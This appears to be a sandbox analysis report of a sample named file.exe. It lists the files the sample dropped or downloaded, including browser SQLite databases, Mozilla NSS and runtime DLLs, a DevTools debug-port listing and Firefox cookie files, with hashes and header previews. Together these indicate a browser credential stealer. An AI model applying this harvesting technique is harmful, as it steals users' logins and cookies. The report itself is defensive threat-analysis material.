Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\IIEBGIDA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JKKFIIEB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\chrome.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	692736
Entropy (8bit):	6.304379785339226
Encrypted:	false
SSDEEP:	12288:Kk5nGNLFzxC+gej5yNcTN+pt+tLK75PL2rn65hYVKKuKOvy/j3t:KMGNL/geFyNcTN+jv75TQn652VBuNyb
MD5:	EDA18948A989176F4EEBB175CE806255
SHA1:	FF22A3D5F5FB705137F233C36622C79EAB995897
SHA-256:	81A4F37C5495800B7CC46AEA6535D9180DADB5C151DB6F1FD1968D1CD8C1EEB4
SHA-512:	160ED9990C37A4753FC0F5111C94414568654AFBEDC05308308197DF2A99594F2D5D8FE511FD2279543A869ED20248E603D88A0B9B8FB119E8E6131B0C52FF85
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: CQlUZ4KuAa.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......s,.>7M.m7M.m7M.m\|5.l<M.m\|5.l.M.m\|5.l#M.m'..l"M.m'..l'M.m'..l.M.m\|5.l:M.m7M.m.M.m7M.mlM.m...l6M.m...l6M.mRich7M.m........................PE..L......g.........."!...)............P.....................................................@..........................\..l...<].................................. 8...(..T....................(......@'..@............................................text............................... ..`.rdata..zV.......X..................@..@.data...T....p.......N..............@....reloc.. 8.......:...X..............@..B........................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: CQlUZ4KuAa.exe, Detection: malicious, Browse Filename: yt5xqAvHnZ.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.377246214699666
Encrypted:	false
SSDEEP:	48:SfNaoQNl2oMl2oaTEQNl2LfNaoQ63FQ6I/fNaoQ3gwQgfNaoQ2XiX7a0UrU0U8Q0:6NnQNImTEQN+NnQ63FQ6IXNnQNQsNnQ+
MD5:	93706A37C0A27858AC2A9C0D91D0C507
SHA1:	5E5B159C7DEE580E7270B6170A22CB3C6828D0DD
SHA-256:	180F9308CDB591FBD0C36DD2C5932055AE69149CDA85B07B08F6C10E9B819B11
SHA-512:	74D6B0F9062AD6FC42782C4246A06A756CB388C99F86DEF151CABB5232B3E2BC1BE59FAC0589437D781296EF497FDF551BA103317B76301A418D939F2D9FBC00
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/C3A383E10E3F24CDC614F81CD67CECB1",.. "id": "C3A383E10E3F24CDC614F81CD67CECB1",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/C3A383E10E3F24CDC614F81CD67CECB1"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/3ECDBAA714CE5203676995F09C548F08",.. "id": "3ECDBAA714CE5203676995F09C548F08",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/3ECDBAA714CE5203676995F09C548F08"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 73

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (804)
Category:	downloaded
Size (bytes):	809
Entropy (8bit):	5.169317161449855
Encrypted:	false
SSDEEP:	24:ercdJxEM7SWBHslgT9lCuABuoB7HHHHHHHYqmffffffo:/dJGM7SWKlgZ01BuSEqmffffffo
MD5:	B44C494EAF6CE155837ED7002C4C5736
SHA1:	5A7D43B4133C4585D66F597D2E86BDAB6CA92BB0
SHA-256:	5E364E4CBF4C9D2C0BFDCD11B5353DE77D3728CCE82CE7F7218684759CB58C69
SHA-512:	617F75C987592536D7B20E6097D15DDF4D9A10C4E3C99BCAB1A269C699CB7C5B2D61824C52B0E0CC326BB0FD39EED95BA835E2635F280AFE6DEE9916E116C3B9
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["nyt crossword clues","fantasy football waiver wire week 9","walmart black friday ad 2024","hurricane tropical storm","malik nazeba minahil malik viral video","super mario party jamboree minigames","aurora borealis forecast","top horror movies 2024"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggestrelevance":[1257,1256,1255,1254,1253,1252,1251,1250],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY"]}]

Chrome Cache Entry: 74

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 75

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	133996
Entropy (8bit):	5.43510716155069
Encrypted:	false
SSDEEP:	1536:g7CkPDNTc14TPinWZ12CAkxmSlQWE8waaeeDF47j9RzNixqxUDgRiKvD+RVH2Unp:2P61CAV/WEhFdF47j9RCqxc6+OUaKszQ
MD5:	92CB03C5FF18AEEFDC2733F960763367
SHA1:	5556E6C486F8FF20B8CDFF7B3E78AD2F265B986B
SHA-256:	F271B54B34DBF52A84E7498C596CDC15BD9784D6CE3C467F3727A96CF0F21109
SHA-512:	72BDB915C70B5B07499EC0C4D8E5961F44A03DAC1D7C45F5C935668925BBE25C88F34406FB89C0EC4D80A81B5A1CDE276A82D8A8F3F10444E1991EC22594548C
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
